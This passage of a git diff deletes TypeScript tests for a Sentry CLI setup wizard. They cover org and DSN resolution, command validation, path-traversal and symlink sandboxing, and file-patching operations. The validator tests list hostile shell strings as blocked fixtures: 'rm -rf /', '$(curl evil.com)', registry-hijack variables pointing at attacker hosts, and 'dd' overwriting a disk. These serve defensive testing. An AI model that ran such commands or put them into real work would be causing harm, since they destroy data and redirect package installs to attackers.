expect(data.dsn).toBe(""); - }); - - describe("resolveOrgSlug — resolveOrg integration", () => { - test("returns org slug when resolveOrg resolves", async () => { - resolveOrgPrefetchedSpy.mockResolvedValue({ org: "acme-corp" }); - - const result = await resolveOrgSlug("/tmp/test", false); - - expect(result).toBe("acme-corp"); - expect(listOrgsSpy).not.toHaveBeenCalled(); - }); - - test("falls through to listOrganizations when resolveOrg returns null", async () => { - resolveOrgPrefetchedSpy.mockResolvedValue(null); - listOrgsSpy.mockResolvedValue([ - { id: "1", slug: "solo-org", name: "Solo Org" }, - ]); - - const result = await resolveOrgSlug("/tmp/test", false); - - expect(result).toBe("solo-org"); - }); - - test("numeric ID from resolveOrg falls through to org picker", async () => { - resolveOrgPrefetchedSpy.mockResolvedValue({ org: "4507492088676352" }); - listOrgsSpy.mockResolvedValue([ - { id: "1", slug: "solo-org", name: "Solo Org" }, - ]); - - const result = await resolveOrgSlug("/tmp/test", false); - - expect(result).toBe("solo-org"); - }); - }); - - describe("detectExistingProject (called directly)", () => { - test("no DSN found → returns null", async () => { - detectDsnSpy.mockResolvedValue(null); - - const result = await detectExistingProject("/tmp/test"); - - expect(result).toBeNull(); - }); - - test("DSN found + resolved via resolveDsnByPublicKey → returns org and project", async () => { - detectDsnSpy.mockResolvedValue({ - publicKey: "test-key-abc", - protocol: "https", - host: "o123.ingest.sentry.io", - projectId: "42", - raw: "https://test-key-abc@o123.ingest.sentry.io/42", - source: "env_file" as const, - }); - resolveDsnByPublicKeySpy.mockResolvedValue({ - org: "acme-corp", - project: "my-app", - }); - - const result = await detectExistingProject("/tmp/test"); - - expect(result).toEqual({ - orgSlug: "acme-corp", - projectSlug: "my-app", - }); - }); - - test("DSN found + resolveDsnByPublicKey returns null → returns null", async () => { - detectDsnSpy.mockResolvedValue({ - publicKey: "test-key-abc", - protocol: "https", - host: "o123.ingest.sentry.io", - projectId: "42", - raw: "https://test-key-abc@o123.ingest.sentry.io/42", - source: "env_file" as const, - }); - resolveDsnByPublicKeySpy.mockResolvedValue(null); - - const result = await detectExistingProject("/tmp/test"); - - expect(result).toBeNull(); - }); - - test("DSN found + API throws (inaccessible org) → returns null", async () => { - detectDsnSpy.mockResolvedValue({ - publicKey: "test-key-abc", - protocol: "https", - host: "o999.ingest.sentry.io", - projectId: "99", - raw: "https://test-key-abc@o999.ingest.sentry.io/99", - source: "env_file" as const, - }); - resolveDsnByPublicKeySpy.mockRejectedValue(new Error("403 Forbidden")); - - const result = await detectExistingProject("/tmp/test"); - - expect(result).toBeNull(); - }); - - test("DSN without publicKey → returns null", async () => { - detectDsnSpy.mockResolvedValue({ - publicKey: "", - protocol: "https", - host: "o123.ingest.sentry.io", - projectId: "42", - raw: "https://@o123.ingest.sentry.io/42", - source: "env_file" as const, - }); - - const result = await detectExistingProject("/tmp/test"); - - expect(result).toBeNull(); - }); - }); - - describe("createSentryProject with org+project set — existing project check", () => { - test("existing project found → returns it without creating", async () => { - getProjectSpy.mockResolvedValue(sampleProject); - tryGetPrimaryDsnSpy.mockResolvedValue( - "https://abc@o1.ingest.sentry.io/42" - ); - buildProjectUrlSpy.mockReturnValue( - "https://sentry.io/settings/acme-corp/projects/my-app/" - ); - - const result = await handleLocalOp( - makePayload(), - makeOptions({ org: "acme-corp", project: "my-app" }) - ); - - expect(result.ok).toBe(true); - expect(result.message).toBe( - 'Using existing project "my-app" in acme-corp' - ); - const data = result.data as { orgSlug: string; projectSlug: string }; - expect(data.orgSlug).toBe("acme-corp"); - expect(data.projectSlug).toBe("my-app"); - expect(createProjectSpy).not.toHaveBeenCalled(); - }); - - test("no existing project → creates new one", async () => { - getProjectSpy.mockRejectedValue(new ApiError("Not Found", 404)); - mockDownstreamSuccess("acme-corp"); - - const result = await handleLocalOp( - makePayload(), - makeOptions({ org: "acme-corp", project: "my-app" }) - ); - - expect(result.ok).toBe(true); - expect(createProjectSpy).toHaveBeenCalledTimes(1); - }); - }); -}); diff --git a/test/lib/init/local-ops.test.ts b/test/lib/init/local-ops.test.ts deleted file mode 100644 index e3b298938..000000000 --- a/test/lib/init/local-ops.test.ts +++ /dev/null @@ -1,1492 +0,0 @@ -import { afterEach, beforeEach, describe, expect, test } from "bun:test"; -import fs, { - mkdirSync, - mkdtempSync, - readFileSync, - rmSync, - symlinkSync, - writeFileSync, -} from "node:fs"; -import { join } from "node:path"; -import { - handleLocalOp, - precomputeDirListing, - validateCommand, -} from "../../../src/lib/init/local-ops.js"; -import type { - ApplyPatchsetPayload, - FileExistsBatchPayload, - GlobPayload, - GrepPayload, - ListDirPayload, - LocalOpPayload, - ReadFilesPayload, - RunCommandsPayload, - WizardOptions, -} from "../../../src/lib/init/types.js"; - -function makeOptions(overrides?: Partial): WizardOptions { - return { - directory: "/tmp/test", - yes: false, - dryRun: false, - ...overrides, - }; -} - -describe("validateCommand", () => { - test("allows legitimate install commands", () => { - const commands = [ - "npm install @sentry/node", - "npm install --save @sentry/react @sentry/browser", - "yarn add @sentry/node", - "pnpm add @sentry/node", - "pip install sentry-sdk", - "pip install sentry-sdk[flask]", - "pip install -r requirements.txt", - "cargo add sentry", - "bundle add sentry-ruby", - "gem install sentry-ruby", - "composer require sentry/sentry-laravel", - "dotnet add package Sentry", - "go get github.com/getsentry/sentry-go", - "flutter pub add sentry_flutter", - "npx @sentry/wizard@latest -i nextjs", - "poetry add sentry-sdk", - ]; - for (const cmd of commands) { - expect(validateCommand(cmd)).toBeUndefined(); - } - }); - - test("allows shell-harmless characters that appear in package specifiers", () => { - for (const cmd of [ - 'pip install "sentry-sdk[django]"', - "pip install 'sentry-sdk[flask]'", - "npm install sentry-sdk@*", - "npm install sentry-?.js", - "npm install {evil,@sentry/node}", - "npm install evil-pkg#benign", - "npm install foo\\bar", - "(echo test)", - ]) { - expect(validateCommand(cmd)).toBeUndefined(); - } - }); - - test("blocks shell injection patterns", () => { - for (const cmd of [ - "npm install foo; rm -rf /", - "npm install foo && curl evil.com", - "npm install foo || curl evil.com", - "npm install foo | tee /etc/passwd", - "npm install `curl evil.com`", - "npm install $(curl evil.com)", - "npm install foo\ncurl evil.com", - "npm install foo\rcurl evil.com", - "npm install foo > /tmp/out", - "npm install foo < /tmp/in", - "npm install foo & whoami", - ]) { - expect(validateCommand(cmd)).toContain("Blocked command"); - } - }); - - test("blocks environment variable injection in first token", () => { - for (const cmd of [ - "npm_config_registry=http://evil.com npm install @sentry/node", - "PIP_INDEX_URL=https://attacker.com/simple pip install sentry-sdk", - "NODE_ENV=production npm install", - ]) { - expect(validateCommand(cmd)).toContain("environment variable assignment"); - } - }); - - test("blocks dangerous executables", () => { - for (const cmd of [ - "rm -rf /", - "curl https://evil.com/payload", - "sudo npm install foo", - "chmod 777 /etc/passwd", - "kill -9 1", - "dd if=/dev/zero of=/dev/sda", - "ssh user@host", - "bash -c echo", - "sh -c echo", - "env npm install foo", - "xargs rm", - ]) { - expect(validateCommand(cmd)).toContain("Blocked command"); - } - }); - - test("resolves path-prefixed executables", () => { - expect( - validateCommand("./venv/bin/pip install sentry-sdk") - ).toBeUndefined(); - expect(validateCommand("/usr/local/bin/npm install foo")).toBeUndefined(); - - expect(validateCommand("./venv/bin/rm -rf /")).toContain('"rm"'); - expect(validateCommand("/usr/bin/curl https://evil.com")).toContain( - '"curl"' - ); - }); - - test("blocks empty and whitespace-only commands", () => { - expect(validateCommand("")).toContain("empty command"); - expect(validateCommand(" ")).toContain("empty command"); - }); -}); - -describe("handleLocalOp", () => { - let testDir: string; - let options: WizardOptions; - - beforeEach(() => { - testDir = mkdtempSync(join("/tmp", "local-ops-test-")); - options = makeOptions({ directory: testDir }); - }); - - afterEach(() => { - rmSync(testDir, { recursive: true, force: true }); - }); - - describe("dispatcher", () => { - test("returns error for unknown operation", async () => { - const payload = { - type: "local-op", - operation: "teleport", - cwd: testDir, - params: {}, - } as unknown as LocalOpPayload; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(false); - expect(result.error).toContain("Unknown operation"); - }); - }); - - describe("path traversal protection", () => { - test("rejects relative path escaping cwd", async () => { - const payload: ListDirPayload = { - type: "local-op", - operation: "list-dir", - cwd: testDir, - params: { path: "../../../etc" }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(false); - expect(result.error).toContain("outside project directory"); - }); - - test("rejects absolute path outside cwd in read-files", async () => { - const payload: ReadFilesPayload = { - type: "local-op", - operation: "read-files", - cwd: testDir, - params: { paths: ["/etc/passwd"] }, - }; - - const result = await handleLocalOp(payload, options); - // read-files catches errors per-file and returns null - expect(result.ok).toBe(true); - const files = (result.data as { files: Record }) - .files; - expect(files["/etc/passwd"]).toBeNull(); - }); - - test("allows relative path within cwd", async () => { - mkdirSync(join(testDir, "subdir")); - writeFileSync(join(testDir, "subdir", "file.txt"), "hello"); - - const payload: ListDirPayload = { - type: "local-op", - operation: "list-dir", - cwd: testDir, - params: { path: "subdir" }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - }); - }); - - describe("cwd sandboxing", () => { - test("rejects cwd outside project directory", async () => { - const payload: ListDirPayload = { - type: "local-op", - operation: "list-dir", - cwd: "/", - params: { path: "." }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(false); - expect(result.error).toContain("outside project directory"); - }); - - test("allows cwd equal to project directory", async () => { - writeFileSync(join(testDir, "file.txt"), "x"); - - const payload: ListDirPayload = { - type: "local-op", - operation: "list-dir", - cwd: testDir, - params: { path: "." }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - }); - - test("allows cwd that is a subdirectory of project directory", async () => { - mkdirSync(join(testDir, "sub")); - writeFileSync(join(testDir, "sub", "file.txt"), "x"); - - const payload: ListDirPayload = { - type: "local-op", - operation: "list-dir", - cwd: join(testDir, "sub"), - params: { path: "." }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - }); - }); - - describe("symlink protection", () => { - test("rejects symlink pointing outside project in read-files", async () => { - symlinkSync("/etc", join(testDir, "escape-link")); - - const payload: ReadFilesPayload = { - type: "local-op", - operation: "read-files", - cwd: testDir, - params: { paths: ["escape-link/passwd"] }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - // read-files catches per-file errors and returns null - const files = (result.data as { files: Record }) - .files; - expect(files["escape-link/passwd"]).toBeNull(); - }); - - test("rejects symlink parent directory in apply-patchset create", async () => { - symlinkSync("/tmp", join(testDir, "link-out")); - - const payload: ApplyPatchsetPayload = { - type: "local-op", - operation: "apply-patchset", - cwd: testDir, - params: { - patches: [ - { - path: "link-out/evil.txt", - action: "create", - patch: "pwned", - }, - ], - }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(false); - expect(result.error).toContain("via symlink"); - }); - - test("allows regular files and directories (no false positives)", async () => { - mkdirSync(join(testDir, "real-dir")); - writeFileSync(join(testDir, "real-dir", "file.txt"), "safe"); - - const payload: ReadFilesPayload = { - type: "local-op", - operation: "read-files", - cwd: testDir, - params: { paths: ["real-dir/file.txt"] }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - const files = (result.data as { files: Record }) - .files; - expect(files["real-dir/file.txt"]).toBe("safe"); - }); - }); - - describe("list-dir", () => { - test("lists files and directories with correct types", async () => { - writeFileSync(join(testDir, "file1.txt"), "a"); - writeFileSync(join(testDir, "file2.ts"), "b"); - mkdirSync(join(testDir, "subdir")); - - const payload: ListDirPayload = { - type: "local-op", - operation: "list-dir", - cwd: testDir, - params: { path: "." }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - - const entries = ( - result.data as { - entries: Array<{ - name: string; - type: "file" | "directory"; - }>; - } - ).entries; - expect(entries).toHaveLength(3); - - const names = entries.map((e) => e.name).sort(); - expect(names).toEqual(["file1.txt", "file2.ts", "subdir"]); - - const dir = entries.find((e) => e.name === "subdir"); - expect(dir?.type).toBe("directory"); - - const file = entries.find((e) => e.name === "file1.txt"); - expect(file?.type).toBe("file"); - }); - - test("respects maxEntries limit", async () => { - for (let i = 0; i < 10; i++) { - writeFileSync(join(testDir, `file${i}.txt`), "x"); - } - - const payload: ListDirPayload = { - type: "local-op", - operation: "list-dir", - cwd: testDir, - params: { path: ".", maxEntries: 3 }, - }; - - const result = await handleLocalOp(payload, options); - const entries = (result.data as { entries: Array<{ name: string }> }) - .entries; - expect(entries).toHaveLength(3); - }); - - test("recursive mode traverses nested directories", async () => { - mkdirSync(join(testDir, "a")); - writeFileSync(join(testDir, "a", "nested.txt"), "x"); - - const payload: ListDirPayload = { - type: "local-op", - operation: "list-dir", - cwd: testDir, - params: { path: ".", recursive: true, maxDepth: 3 }, - }; - - const result = await handleLocalOp(payload, options); - const entries = (result.data as { entries: Array<{ path: string }> }) - .entries; - const paths = entries.map((e) => e.path); - expect(paths).toContain(join("a", "nested.txt")); - }); - - test("skips node_modules and dot-directories when recursing", async () => { - mkdirSync(join(testDir, "node_modules", "pkg"), { recursive: true }); - writeFileSync(join(testDir, "node_modules", "pkg", "index.js"), "x"); - mkdirSync(join(testDir, ".git", "objects"), { recursive: true }); - writeFileSync(join(testDir, ".git", "objects", "abc"), "x"); - mkdirSync(join(testDir, "src")); - writeFileSync(join(testDir, "src", "app.ts"), "x"); - - const payload: ListDirPayload = { - type: "local-op", - operation: "list-dir", - cwd: testDir, - params: { path: ".", recursive: true, maxDepth: 5 }, - }; - - const result = await handleLocalOp(payload, options); - const entries = (result.data as { entries: Array<{ path: string }> }) - .entries; - const paths = entries.map((e) => e.path); - - // The top-level dirs are listed but not recursed into - expect(paths).toContain("node_modules"); - expect(paths).toContain(".git"); - // Their children should NOT be listed - expect(paths).not.toContain(join("node_modules", "pkg")); - expect(paths).not.toContain(join(".git", "objects")); - // src IS recursed into - expect(paths).toContain(join("src", "app.ts")); - }); - - test("respects maxDepth limit", async () => { - // Create 3-level deep structure - mkdirSync(join(testDir, "a", "b", "c"), { recursive: true }); - writeFileSync(join(testDir, "a", "b", "c", "deep.txt"), "x"); - - const payload: ListDirPayload = { - type: "local-op", - operation: "list-dir", - cwd: testDir, - params: { path: ".", recursive: true, maxDepth: 1 }, - }; - - const result = await handleLocalOp(payload, options); - const entries = (result.data as { entries: Array<{ path: string }> }) - .entries; - const paths = entries.map((e) => e.path); - - expect(paths).toContain("a"); - expect(paths).toContain(join("a", "b")); - // Depth 2+ should not be reached - expect(paths).not.toContain(join("a", "b", "c")); - }); - - test("excludes symlinks that point outside project directory", async () => { - writeFileSync(join(testDir, "legit.ts"), "x"); - symlinkSync("/tmp", join(testDir, "escape-link")); - - const payload: ListDirPayload = { - type: "local-op", - operation: "list-dir", - cwd: testDir, - params: { path: "." }, - }; - - const result = await handleLocalOp(payload, options); - const entries = (result.data as { entries: Array<{ name: string }> }) - .entries; - const names = entries.map((e) => e.name); - - expect(names).toContain("legit.ts"); - expect(names).not.toContain("escape-link"); - }); - - test("excludes nested symlinks that point outside project directory in recursive mode", async () => { - mkdirSync(join(testDir, "sub")); - writeFileSync(join(testDir, "sub", "legit.ts"), "x"); - symlinkSync("/tmp", join(testDir, "sub", "escape-link")); - - const payload: ListDirPayload = { - type: "local-op", - operation: "list-dir", - cwd: testDir, - params: { path: ".", recursive: true, maxDepth: 3 }, - }; - - const result = await handleLocalOp(payload, options); - const entries = (result.data as { entries: Array<{ path: string }> }) - .entries; - const paths = entries.map((e) => e.path); - - expect(paths).toContain(join("sub", "legit.ts")); - expect(paths).not.toContain(join("sub", "escape-link")); - }); - }); - - describe("read-files", () => { - test("reads file contents correctly", async () => { - writeFileSync(join(testDir, "hello.txt"), "world"); - - const payload: ReadFilesPayload = { - type: "local-op", - operation: "read-files", - cwd: testDir, - params: { paths: ["hello.txt"] }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - const files = (result.data as { files: Record }) - .files; - expect(files["hello.txt"]).toBe("world"); - }); - - test("returns null for non-existent files", async () => { - const payload: ReadFilesPayload = { - type: "local-op", - operation: "read-files", - cwd: testDir, - params: { paths: ["missing.txt"] }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - const files = (result.data as { files: Record }) - .files; - expect(files["missing.txt"]).toBeNull(); - }); - - test("truncates files exceeding maxBytes", async () => { - const content = "A".repeat(1000); - writeFileSync(join(testDir, "big.txt"), content); - - const payload: ReadFilesPayload = { - type: "local-op", - operation: "read-files", - cwd: testDir, - params: { paths: ["big.txt"], maxBytes: 50 }, - }; - - const result = await handleLocalOp(payload, options); - const files = (result.data as { files: Record }) - .files; - expect(files["big.txt"]?.length).toBe(50); - }); - - test("handles multiple files in one call", async () => { - writeFileSync(join(testDir, "a.txt"), "aaa"); - writeFileSync(join(testDir, "b.txt"), "bbb"); - - const payload: ReadFilesPayload = { - type: "local-op", - operation: "read-files", - cwd: testDir, - params: { paths: ["a.txt", "b.txt", "c.txt"] }, - }; - - const result = await handleLocalOp(payload, options); - const files = (result.data as { files: Record }) - .files; - expect(files["a.txt"]).toBe("aaa"); - expect(files["b.txt"]).toBe("bbb"); - expect(files["c.txt"]).toBeNull(); - }); - }); - - describe("file-exists-batch", () => { - test("correctly identifies existing and missing files", async () => { - writeFileSync(join(testDir, "exists.txt"), "yes"); - - const payload: FileExistsBatchPayload = { - type: "local-op", - operation: "file-exists-batch", - cwd: testDir, - params: { paths: ["exists.txt", "nope.txt"] }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - const exists = (result.data as { exists: Record }) - .exists; - expect(exists["exists.txt"]).toBe(true); - expect(exists["nope.txt"]).toBe(false); - }); - - test("returns false for path traversal attempts", async () => { - const payload: FileExistsBatchPayload = { - type: "local-op", - operation: "file-exists-batch", - cwd: testDir, - params: { paths: ["../../etc/passwd"] }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - const exists = (result.data as { exists: Record }) - .exists; - expect(exists["../../etc/passwd"]).toBe(false); - }); - }); - - describe("run-commands", () => { - test("executes command and captures stdout", async () => { - const payload: RunCommandsPayload = { - type: "local-op", - operation: "run-commands", - cwd: testDir, - params: { commands: ["/bin/echo hello"] }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - const results = ( - result.data as { - results: Array<{ - stdout: string; - exitCode: number; - }>; - } - ).results; - expect(results[0].stdout.trim()).toBe("hello"); - expect(results[0].exitCode).toBe(0); - }); - - test("returns error on failed command", async () => { - const payload: RunCommandsPayload = { - type: "local-op", - operation: "run-commands", - cwd: testDir, - params: { commands: ["ls /nonexistent_path_that_does_not_exist_xyz"] }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(false); - expect(result.error).toContain("failed with exit code"); - }); - - test("rejects blocked commands", async () => { - const payload: RunCommandsPayload = { - type: "local-op", - operation: "run-commands", - cwd: testDir, - params: { commands: ["rm -rf /"] }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(false); - expect(result.error).toContain("Blocked command"); - }); - - test("stops on first failed command in a sequence", async () => { - const payload: RunCommandsPayload = { - type: "local-op", - operation: "run-commands", - cwd: testDir, - params: { - commands: ["/usr/bin/false", "/bin/echo should_not_run"], - }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(false); - const results = ( - result.data as { - results: Array<{ command: string }>; - } - ).results; - expect(results).toHaveLength(1); - expect(results[0].command).toBe("/usr/bin/false"); - }); - - test("dry-run validates commands but skips execution", async () => { - const payload: RunCommandsPayload = { - type: "local-op", - operation: "run-commands", - cwd: testDir, - params: { commands: ["rm -rf /", "echo hello"] }, - }; - - const dryRunOptions = makeOptions({ dryRun: true, directory: testDir }); - const result = await handleLocalOp(payload, dryRunOptions); - expect(result.ok).toBe(false); - expect(result.error).toContain("Blocked command"); - }); - - test("dry-run skips execution for valid commands", async () => { - const payload: RunCommandsPayload = { - type: "local-op", - operation: "run-commands", - cwd: testDir, - params: { commands: ["npm install @sentry/node", "/bin/echo hello"] }, - }; - - const dryRunOptions = makeOptions({ dryRun: true, directory: testDir }); - const result = await handleLocalOp(payload, dryRunOptions); - expect(result.ok).toBe(true); - const results = ( - result.data as { - results: Array<{ stdout: string; exitCode: number }>; - } - ).results; - expect(results).toHaveLength(2); - expect(results[0].stdout).toBe("(dry-run: skipped)"); - expect(results[0].exitCode).toBe(0); - }); - - test("rejects entire batch if any command fails validation", async () => { - const payload: RunCommandsPayload = { - type: "local-op", - operation: "run-commands", - cwd: testDir, - params: { commands: ["/bin/echo hello", "rm -rf /"] }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(false); - expect(result.error).toContain("Blocked command"); - // No commands should have executed (no data.results) - expect(result.data).toBeUndefined(); - }); - }); - - describe("apply-patchset", () => { - test("creates a new file with content", async () => { - const payload: ApplyPatchsetPayload = { - type: "local-op", - operation: "apply-patchset", - cwd: testDir, - params: { - patches: [ - { path: "new.txt", action: "create", patch: "hello world" }, - ], - }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - expect(fs.readFileSync(join(testDir, "new.txt"), "utf-8")).toBe( - "hello world" - ); - }); - - test("creates nested directories automatically", async () => { - const payload: ApplyPatchsetPayload = { - type: "local-op", - operation: "apply-patchset", - cwd: testDir, - params: { - patches: [ - { - path: "deep/nested/file.txt", - action: "create", - patch: "content", - }, - ], - }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - expect( - fs.readFileSync(join(testDir, "deep", "nested", "file.txt"), "utf-8") - ).toBe("content"); - }); - - test("modifies an existing file", async () => { - writeFileSync(join(testDir, "existing.txt"), "old content here"); - - const payload: ApplyPatchsetPayload = { - type: "local-op", - operation: "apply-patchset", - cwd: testDir, - params: { - patches: [ - { - path: "existing.txt", - action: "modify", - edits: [{ oldString: "old content", newString: "new content" }], - }, - ], - }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - expect(fs.readFileSync(join(testDir, "existing.txt"), "utf-8")).toBe( - "new content here" - ); - }); - - test("fails when modifying a non-existent file", async () => { - const payload: ApplyPatchsetPayload = { - type: "local-op", - operation: "apply-patchset", - cwd: testDir, - params: { - patches: [ - { - path: "ghost.txt", - action: "modify", - edits: [{ oldString: "x", newString: "y" }], - }, - ], - }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(false); - expect(result.error).toContain("file does not exist"); - }); - - test("deletes an existing file", async () => { - writeFileSync(join(testDir, "doomed.txt"), "bye"); - - const payload: ApplyPatchsetPayload = { - type: "local-op", - operation: "apply-patchset", - cwd: testDir, - params: { - patches: [{ path: "doomed.txt", action: "delete", patch: "" }], - }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - expect(fs.existsSync(join(testDir, "doomed.txt"))).toBe(false); - }); - - test("delete is a no-op for non-existent file", async () => { - const payload: ApplyPatchsetPayload = { - type: "local-op", - operation: "apply-patchset", - cwd: testDir, - params: { - patches: [{ path: "ghost.txt", action: "delete", patch: "" }], - }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - }); - - test("applies multiple patches in sequence", async () => { - writeFileSync(join(testDir, "to-modify.txt"), "old content"); - writeFileSync(join(testDir, "to-delete.txt"), "bye"); - - const payload: ApplyPatchsetPayload = { - type: "local-op", - operation: "apply-patchset", - cwd: testDir, - params: { - patches: [ - { path: "created.txt", action: "create", patch: "new" }, - { - path: "to-modify.txt", - action: "modify", - edits: [{ oldString: "old content", newString: "updated" }], - }, - { path: "to-delete.txt", action: "delete" }, - ], - }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - - const applied = ( - result.data as { applied: Array<{ path: string; action: string }> } - ).applied; - expect(applied).toHaveLength(3); - - expect(fs.existsSync(join(testDir, "created.txt"))).toBe(true); - expect(fs.readFileSync(join(testDir, "to-modify.txt"), "utf-8")).toBe( - "updated" - ); - expect(fs.existsSync(join(testDir, "to-delete.txt"))).toBe(false); - }); - - test("dry-run does not write files but reports actions", async () => { - const payload: ApplyPatchsetPayload = { - type: "local-op", - operation: "apply-patchset", - cwd: testDir, - params: { - patches: [ - { path: "phantom.txt", action: "create", patch: "content" }, - ], - }, - }; - - const dryRunOptions = makeOptions({ dryRun: true, directory: testDir }); - const result = await handleLocalOp(payload, dryRunOptions); - expect(result.ok).toBe(true); - - const applied = ( - result.data as { applied: Array<{ path: string; action: string }> } - ).applied; - expect(applied).toHaveLength(1); - expect(applied[0].action).toBe("create"); - - // File should NOT exist on disk - expect(fs.existsSync(join(testDir, "phantom.txt"))).toBe(false); - }); - - test("rejects entire patchset if any path is unsafe (no partial writes)", async () => { - const payload: ApplyPatchsetPayload = { - type: "local-op", - operation: "apply-patchset", - cwd: testDir, - params: { - patches: [ - { path: "safe.txt", action: "create", patch: "good content" }, - { path: "../../evil.txt", action: "create", patch: "bad" }, - ], - }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(false); - expect(result.error).toContain("outside project directory"); - - // First patch must NOT have been written - expect(fs.existsSync(join(testDir, "safe.txt"))).toBe(false); - }); - - test("dry-run still validates path safety", async () => { - const payload: ApplyPatchsetPayload = { - type: "local-op", - operation: "apply-patchset", - cwd: testDir, - params: { - patches: [{ path: "../../evil.txt", action: "create", patch: "bad" }], - }, - }; - - const dryRunOptions = makeOptions({ dryRun: true, directory: testDir }); - const result = await handleLocalOp(payload, dryRunOptions); - expect(result.ok).toBe(false); - expect(result.error).toContain("outside project directory"); - }); - - test("modifies file using edits (oldString/newString)", async () => { - writeFileSync( - join(testDir, "config.ts"), - [ - 'import * as Sentry from "@sentry/nextjs";', - "", - "Sentry.init({", - ' dsn: "https://old@sentry.io/1",', - " tracesSampleRate: 1.0,", - "});", - ].join("\n") - ); - - const payload: ApplyPatchsetPayload = { - type: "local-op", - operation: "apply-patchset", - cwd: testDir, - params: { - patches: [ - { - path: "config.ts", - action: "modify", - edits: [ - { - oldString: ' dsn: "https://old@sentry.io/1",', - newString: ' dsn: "https://new@sentry.io/2",', - }, - { - oldString: " tracesSampleRate: 1.0,", - newString: - " tracesSampleRate: 0.5,\n replaysSessionSampleRate: 0.1,", - }, - ], - }, - ], - }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - - const content = readFileSync(join(testDir, "config.ts"), "utf-8"); - expect(content).toContain("new@sentry.io/2"); - expect(content).not.toContain("old@sentry.io/1"); - expect(content).toContain("tracesSampleRate: 0.5,"); - expect(content).toContain("replaysSessionSampleRate: 0.1,"); - }); - - test("edits-based modify fails gracefully when oldString not found", async () => { - writeFileSync(join(testDir, "app.ts"), "const x = 1;\n"); - - const payload: ApplyPatchsetPayload = { - type: "local-op", - operation: "apply-patchset", - cwd: testDir, - params: { - patches: [ - { - path: "app.ts", - action: "modify", - edits: [ - { - oldString: "this text does not exist", - newString: "replacement", - }, - ], - }, - ], - }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(false); - expect(result.error).toContain('Edit #1 failed on "app.ts"'); - }); - - test("edits-based modify with fuzzy matching (indentation difference)", async () => { - writeFileSync( - join(testDir, "fuzzy.ts"), - " const x = 1;\n const y = 2;\n" - ); - - const payload: ApplyPatchsetPayload = { - type: "local-op", - operation: "apply-patchset", - cwd: testDir, - params: { - patches: [ - { - path: "fuzzy.ts", - action: "modify", - edits: [ - { - oldString: " const x = 1;\n const y = 2;", - newString: " const x = 10;\n const y = 20;", - }, - ], - }, - ], - }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - - const content = readFileSync(join(testDir, "fuzzy.ts"), "utf-8"); - expect(content).toContain("const x = 10;"); - expect(content).toContain("const y = 20;"); - }); - - test("mixed create + edits-based modify in single patchset", async () => { - writeFileSync(join(testDir, "existing.ts"), 'const old = "value";\n'); - - const payload: ApplyPatchsetPayload = { - type: "local-op", - operation: "apply-patchset", - cwd: testDir, - params: { - patches: [ - { - path: "new-file.ts", - action: "create", - patch: 'import * as Sentry from "@sentry/node";\n', - }, - { - path: "existing.ts", - action: "modify", - edits: [ - { - oldString: 'const old = "value";', - newString: 'const updated = "new-value";', - }, - ], - }, - ], - }, - }; - - const result = await handleLocalOp(payload, options); - expect(result.ok).toBe(true); - - expect(fs.existsSync(join(testDir, "new-file.ts"))).toBe(true); - const content = readFileSync(join(testDir, "existing.ts"), "utf-8"); - expect(content).toContain('const updated = "new-value"'); - }); - - test("injects auth token into .env.sentry-build-plugin with empty SENTRY_AUTH_TOKEN", async () => { - const payload: ApplyPatchsetPayload = { - type: "local-op", - operation: "apply-patchset", - cwd: testDir, - params: { - patches: [ - { - path: ".env.sentry-build-plugin", - action: "create", - patch: "SENTRY_AUTH_TOKEN=\n", - }, - ], - }, - }; - - const opts = makeOptions({ - directory: testDir, - authToken: "sntrys_test_token_123", - }); - const result = await handleLocalOp(payload, opts); - expect(result.ok).toBe(true); - - const content = readFileSync( - join(testDir, ".env.sentry-build-plugin"), - "utf-8" - ); - expect(content).toBe("SENTRY_AUTH_TOKEN=sntrys_test_token_123\n"); - }); - - test("does not inject auth token into non-env files", async () => { - const payload: ApplyPatchsetPayload = { - type: "local-op", - operation: "apply-patchset", - cwd: testDir, - params: { - patches: [ - { - path: "config.ts", - action: "create", - patch: "SENTRY_AUTH_TOKEN=\n", - }, - ], - }, - }; - - const opts = makeOptions({ - directory: testDir, - authToken: "sntrys_test_token_123", - }); - const result = await handleLocalOp(payload, opts); - expect(result.ok).toBe(true); - - const content = readFileSync(join(testDir, "config.ts"), "utf-8"); - expect(content).toBe("SENTRY_AUTH_TOKEN=\n"); - }); - - test("does not overwrite existing non-empty SENTRY_AUTH_TOKEN", async () => { - const payload: ApplyPatchsetPayload = { - type: "local-op", - operation: "apply-patchset", - cwd: testDir, - params: { - 